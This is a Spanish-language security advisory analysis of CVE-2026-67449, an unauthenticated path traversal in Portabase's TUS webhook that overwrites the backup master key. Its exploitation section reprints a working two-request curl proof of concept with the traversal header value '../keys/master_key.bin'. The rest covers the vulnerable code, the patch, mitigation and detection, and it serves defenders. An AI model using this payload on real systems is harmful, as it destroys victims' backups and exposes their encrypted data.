Neutron, nuestro motor de IA, obtuvo un 97.1% en el benchmark CyberGym de UC Berkeley. Más información

Análisis a fondo

Análisis a fondo

Portabase: sobrescritura de la clave maestra, corregida en 1.21.2 (CVE-2026-67449)

Un recorrido de rutas no autenticado en el webhook TUS de Portabase sobrescribe la clave maestra AES-256 que protege las copias cifradas; corregido en 1.21.2.

Resumen

  • El webhook TUS de Portabase confía en el encabezado X-File-Path y renombra un archivo subido a cualquier ruta del directorio privado. El fallo es CVE-2026-67449, con CVSS v3.1 9.8.
  • La edición Community autoalojada hasta 1.21.1 está afectada cuando /tus/files/ o /api/tus/hooks son accesibles. La corrección es 1.21.2, publicada el 2026-07-04.
  • El aviso incluye una prueba de concepto de dos solicitudes que sobrescribe /data/private/keys/master_key.bin. No se conoce explotación real y el CVE no está en el catálogo KEV de CISA al 2026-11-12.
  • Actualice a 1.21.2 o posterior; la versión más reciente es 1.36.1. Si no puede, bloquee /api/tus/hooks y /tus/ en el proxy inverso.

¿Estoy afectado?

Está expuesto si se cumplen todas estas condiciones:

  • Ejecuta una edición Community de Portabase autoalojada en la versión 1.21.1 o anterior.
  • Los clientes no confiables pueden alcanzar la instancia, y /tus/files/ o /api/tus/hooks están expuestos a través del proxy inverso.
  • El atacante puede crear una subida TUS y controlar el encabezado X-File-Path. No hace falta ninguna cuenta.

El despliegue Docker por defecto pone nginx en el puerto 80, redirige /tus/ al servicio de subida tusd y permite que tusd llame a /api/tus/hooks en la aplicación. El webhook también es accesible mediante la regla location / general, así que un proxy que solo bloquee /tus/ puede dejar el webhook abierto. El aviso indica que el punto de conexión de subida TUS no pedía autenticación.

Producto Versiones afectadas Versión corregida
Portabase Community Edition 1.21.1 y anteriores 1.21.2
Portabase Community Edition 1.21.2 y posteriores No afectadas

La imagen de Docker Hub tiene 398,662 descargas y el repositorio de GitHub 1,899 estrellas. El rango afectado es la edición Community autoalojada anterior a 1.21.2.

Compruebe la etiqueta de la imagen del contenedor en ejecución. La aplicación no expone un punto de conexión de versión, así que lea la imagen desde la que se creó el contenedor:

docker inspect portabase --format '{{.Config.Image}}'
docker compose images | grep -i portabase

Si la etiqueta es latest, compare el digest del contenedor en ejecución con el de la versión que pretendía ejecutar. El primer comando lee el digest en ejecución; los dos siguientes descargan la versión y leen su digest:

docker inspect portabase --format '{{index .RepoDigests 0}}'
docker pull portabase/portabase:1.36.1
docker image inspect portabase/portabase:1.36.1 --format '{{index .RepoDigests 0}}'

La versión actual es 1.36.1, publicada el 2026-11-10. Cualquier etiqueta desde 1.21.2 contiene la corrección.

¿Cómo lo corrijo?

Actualice a Portabase 1.21.2 o posterior y recree el contenedor. Descargar una imagen nueva no basta si el contenedor en ejecución sigue usando la anterior.

  1. Descargue la imagen corregida y recree el servicio: bash docker compose pull docker compose up -d
  2. Confirme que el contenedor en ejecución usa la imagen nueva: bash docker inspect portabase --format '{{.Config.Image}}'
  3. Si fija una versión, use 1.21.2 o una etiqueta posterior. La versión más reciente es 1.36.1.
  4. Si compila desde el código fuente, use el commit 8dcb4067 o la etiqueta 1.21.2. La corrección está en la pull request #355.

Si no puede actualizar de inmediato, bloquee la ruta de subida en el proxy inverso. El aviso recomienda denegar el acceso externo a /api/tus/hooks y /tus/ para redes no confiables. Eso cierra la ruta para atacantes remotos, pero también detiene las subidas legítimas de los agentes, así que planifique la actualización.

  1. En nginx, deniegue el webhook antes de la regla general: nginx location = /api/tus/hooks { deny all; return 404; }
  2. Restrinja /tus/ a las redes que ejecutan sus agentes de copia de seguridad, o retírelo del listener público.
  3. Recargue el proxy y confirme que el webhook devuelve 404 desde una red no confiable.

Bloquear el webhook es una solución temporal, no una corrección. Una solicitud que llegue a la aplicación por otra vía todavía puede explotar el recorrido.

¿Cuál es la causa raíz?

El webhook TUS toma una ruta de archivo de un encabezado HTTP y la une al directorio de subidas sin comprobar si contiene ... path.join() normaliza el recorrido, así que la ruta resultante puede salir del directorio de subidas y llegar a la clave maestra.

El código vulnerable está en app/api/tus/hooks/route.ts en la etiqueta 1.21.1. Estas son las líneas relevantes:

const filePath = headers["X-File-Path"]?.[0];

if (!filePath) {
    return NextResponse.json({error: "Missing X-File-Path"}, {status: 500});
}

const uploadDir = path.join(env.PRIVATE_PATH!, "/uploads/");

const oldFilePath = path.join(uploadDir, "tmp", id);
const newFilePath = path.join(uploadDir, filePath);

fs.mkdirSync(path.dirname(newFilePath), {recursive: true});
...
fs.renameSync(oldFilePath, newFilePath);

PRIVATE_PATH vale /data/private por defecto en el contenedor. El directorio de subidas es /data/private/uploads/, y el archivo temporal de una subida es /data/private/uploads/tmp/<id>. El valor de encabezado ../keys/master_key.bin hace que newFilePath resuelva a /data/private/uploads/../keys/master_key.bin, es decir, /data/private/keys/master_key.bin. fs.mkdirSync() crea el directorio padre si hace falta, y fs.renameSync() reemplaza el destino de forma atómica.

La clave maestra es un valor aleatorio de 32 bytes almacenado en keys/master_key.bin con modo 0600. Portabase la usa para el cifrado AES-256-GCM de los datos de copia de seguridad. El mismo archivo lo crea getOrCreateMasterKey() en src/utils/rsa-keys.ts, y el destino del webhook es la misma ruta.

El encabezado lo controla el atacante porque tusd reenvía los encabezados de la solicitud al webhook. El punto de conexión de subida no pide autenticación, así que un cliente no autenticado puede iniciar una subida y poner el recorrido en X-File-Path. El webhook confía en el encabezado porque espera de tusd la ruta que eligió el agente.

¿Cómo se explota?

  1. El atacante crea una subida TUS con el recorrido en X-File-Path. El servicio de subida devuelve una ubicación para la nueva subida.
  2. El atacante sube 32 bytes a esa ubicación. Al completarse la subida, tusd llama al webhook con los encabezados originales.
  3. El webhook une ../keys/master_key.bin al directorio de subidas, crea el directorio keys si hace falta y renombra la subida temporal sobre la clave maestra.
  4. El atacante controla ahora el material de la clave. Las copias existentes cifradas con la clave anterior ya no se pueden descifrar. Los datos cifrados después de la sobrescritura son legibles para quien conozca la nueva clave.

El aviso publica una prueba de concepto de dos solicitudes. Esta es la secuencia, copiada del aviso:

# Step 1: create the upload
curl -X POST http://<host>/tus/files/ \
  -H "Tus-Resumable: 1.0.0" \
  -H "Upload-Length: 32" \
  -H "X-File-Path: ../keys/master_key.bin" \
  -H "X-Status: success"

# Step 2: upload the attacker-controlled key material
curl -X PATCH http://<host>/tus/files/<id> \
  -H "Tus-Resumable: 1.0.0" \
  -H "Content-Type: application/offset+octet-stream" \
  -H "Upload-Offset: 0" \
  -H "X-File-Path: ../keys/master_key.bin" \
  -H "X-Status: success" \
  -d "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"

El ejemplo del aviso usa 32 bytes A. Un atacante real elegiría una clave que conozca. El aviso no publica un informe de víctima ni explotación real.

¿Cómo se desarrolla el ataque?

Una solicitud de subida no autenticada transporta un recorrido en un encabezado, y el webhook renombra el archivo subido sobre la clave maestra AES sin comprobar a dónde apunta la ruta.

flowchart LR
    A["POST /tus/files/<br/>X-File-Path: ../keys/master_key.bin"] --> B["tusd guarda la subida<br/>en private/uploads/tmp"]
    B --> C["tusd llama a<br/>/api/tus/hooks"]
    C --> D["path.join(uploadDir, filePath)<br/>sin comprobar el recorrido"]
    D --> E["fs.renameSync()<br/>sobrescribe master_key.bin"]
    E --> F["copias antiguas ilegibles<br/>nueva clave conocida por el atacante"]

¿Qué puede hacer un atacante?

Un atacante no autenticado puede sobrescribir cualquier archivo que el proceso de Portabase pueda escribir dentro del directorio privado. El objetivo más dañino es la clave maestra AES-256-GCM. Sobrescribirla hace que todas las copias cifradas con la clave anterior sean ilegibles de forma permanente, lo que constituye una denegación de servicio destructiva contra la capacidad de recuperación.

Si el atacante aporta una clave que conoce, también puede leer los datos cifrados después de la sobrescritura. Eso incluye las copias nuevas y cualquier otro dato que Portabase cifre con la misma clave. El aviso describe ambos resultados: pérdida destructiva de las copias existentes y divulgación de los datos cifrados con la clave conocida por el atacante.

El registro CVE califica el fallo con CVSS v3.1 9.8, CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H.

El atacante necesita acceso de red y ninguna cuenta. La ruta está fijada en el código fuente, así que no necesita descubrir la estructura del directorio privado. La única condición previa es que la subida TUS o el webhook sean accesibles.

¿Por qué funciona la corrección?

El parche añade tres capas. Primero, restringe el encabezado a un patrón de ruta estricto. Después, verifica que la ruta resuelta permanezca dentro del directorio de subidas. Por último, vincula la llamada del webhook a un registro de copia de seguridad existente y bloquea el webhook en el borde de nginx.

+const FILE_PATH_RE = /^backups\/\d{4}-\d{2}-\d{2}\/[A-Za-z0-9._-]+$/;
...
-                const fileName = headers["X-File-Name"]?.[0];
                 const filePath = headers["X-File-Path"]?.[0];

-                if (!filePath) {
-                    return NextResponse.json({error: "Missing X-File-Path"}, {status: 500});
+                if (!filePath || !FILE_PATH_RE.test(filePath)) {
+                    log.warn({filePath}, "Rejected invalid X-File-Path in TUS hook");
+                    return NextResponse.json({error: "Invalid file path"}, {status: 400});
                 }
+
+                const generatedId = headers["X-Generated-Id"]?.[0];
+                const backupStorageId = headers["X-Backup-Storage-Id"]?.[0];
...
+                const resolvedBase = path.resolve(uploadDir);
+                const newFilePath = path.resolve(resolvedBase, filePath);
+                const rel = path.relative(resolvedBase, newFilePath);
+                if (rel.startsWith("..") || path.isAbsolute(rel)) {
+                    log.warn({filePath}, "Rejected path traversal in TUS hook");
+                    return NextResponse.json({error: "Invalid file path"}, {status: 400});
+                }

La expresión regular solo acepta backups/YYYY-MM-DD/<filename> con un conjunto de caracteres limitado, así que ../keys/master_key.bin se rechaza antes de cualquier llamada al sistema de archivos. La comprobación con path.resolve() y path.relative() atrapa después cualquier ruta que escape del directorio de subidas, incluso si el patrón cambia más adelante.

El bloque de autorización exige que X-Generated-Id y X-Backup-Storage-Id coincidan con un registro de base de datos y de almacenamiento de copia de seguridad, así que una llamada de webhook falsificada se rechaza. La regla de nginx deniega /api/tus/hooks desde el borde público.

El parche cubre el recorrido en el webhook. El aviso también indica que el webhook interno de tusd solo es accesible por loopback, lo que elimina la ruta externa que usaba la prueba de concepto.

¿Cómo compruebo si estuve comprometido?

No se publican indicadores de compromiso. La sobrescritura cambia el archivo de la clave maestra, así que compárelo con una copia sana si tiene una.

Compruebe el tamaño y la fecha de modificación del archivo:

docker exec <container> ls -l /data/private/keys/master_key.bin
docker exec <container> stat /data/private/keys/master_key.bin

El archivo debe tener 32 bytes y su fecha de modificación debe coincidir con la instalación o con la última rotación deliberada. Una fecha reciente en un archivo que usted no rotó es una pista.

Compare el hash de la clave con una copia de seguridad de la clave:

docker exec <container> sha256sum /data/private/keys/master_key.bin

Busque archivos inesperados en el directorio privado, sobre todo archivos .meta junto a la clave:

docker exec <container> find /data/private -maxdepth 3 -type f -newermt "2026-07-04"

Una restauración de copia de seguridad que falla es la otra señal. Si las copias creadas antes de la sobrescritura sospechosa ya no se descifran, es posible que la clave se haya reemplazado. Conserve el contenedor y el directorio privado antes de reiniciar o reconstruir, porque un reinicio puede sobrescribir las pruebas.

Cronología

  • 2026-07-04: Portabase publica el aviso GHSA-7697-vf3j-253j y la versión 1.21.2 con la corrección.
  • 2026-07-29: se reserva el identificador CVE.
  • 2026-11-11: se publica el registro CVE-2026-67449, cuatro meses después de la corrección.

De la corrección a la publicación del CVE en 130 días.
la corrección se publicó el 2026-07-04, el identificador CVE se reservó el 2026-07-29 y el registro se publicó el 2026-11-11. Fuente: aviso de GitHub y registro CVE, consultados el 12 de noviembre de 2026

Preguntas frecuentes

¿Afecta a todas las instalaciones de Portabase?

No. El aviso cubre la edición Community autoalojada hasta 1.21.1. Las instalaciones en 1.21.2 o posterior están corregidas. Una instancia que no sea accesible para clientes no confiables no está expuesta por esta ruta.

¿Se supone que el punto de conexión TUS es público?

El despliegue por defecto expone /tus/ a través de nginx y no autentica la subida. La corrección bloquea el webhook interno en el proxy y vincula las llamadas del webhook a un registro de copia de seguridad. Si expone Portabase a Internet, revise ambas rutas.

¿Puede el atacante leer mis copias existentes?

Sobrescribir la clave hace que las copias existentes sean ilegibles; no las descifra. Si el atacante escribe una clave que conoce, puede leer los datos cifrados después de la sobrescritura. El aviso describe tanto el resultado destructivo como el de divulgación.

¿Existe un exploit público?

El aviso incluye una prueba de concepto de dos solicitudes. No se publica explotación real ni informe de víctima, y el CVE no está en el catálogo KEV de CISA al 2026-11-12.

¿Y si ya ejecuto una versión posterior?

Compruebe la etiqueta de la imagen del contenedor en ejecución, no la de su archivo compose. Un contenedor creado antes de la actualización puede seguir ejecutando la imagen anterior hasta que se recree. Cualquier etiqueta desde 1.21.2 contiene la corrección.

¿Bloquear /tus/ rompe las copias de seguridad?

Sí, si sus agentes de copia suben por esa ruta. Bloquear solo /api/tus/hooks cierra el webhook desde el borde público, pero la aplicación puede seguir accesible por otra vía. Actualice lo antes posible.

Referencias

  • Aviso de Portabase GHSA-7697-vf3j-253j, publicado el 2026-07-04: https://github.com/Portabase/portabase/security/advisories/GHSA-7697-vf3j-253j (consultado el 12 de noviembre de 2026)
  • Registro CVE-2026-67449, CNA GitHub, publicado el 2026-11-11: https://www.cve.org/CVERecord?id=CVE-2026-67449 (consultado el 12 de noviembre de 2026)
  • Commit de la corrección 8dcb4067, pull request #355: https://github.com/Portabase/portabase/commit/8dcb406790728fbdbf758ec88bf000af79498fc1 (consultado el 12 de noviembre de 2026)
  • Versión 1.21.2 de Portabase: https://github.com/Portabase/portabase/releases/tag/1.21.2 (consultado el 12 de noviembre de 2026)
  • Repositorio de Portabase y versión actual 1.36.1: https://github.com/Portabase/portabase (consultado el 12 de noviembre de 2026)
  • Docker Hub, número de descargas de portabase/portabase: https://hub.docker.com/r/portabase/portabase (consultado el 12 de noviembre de 2026)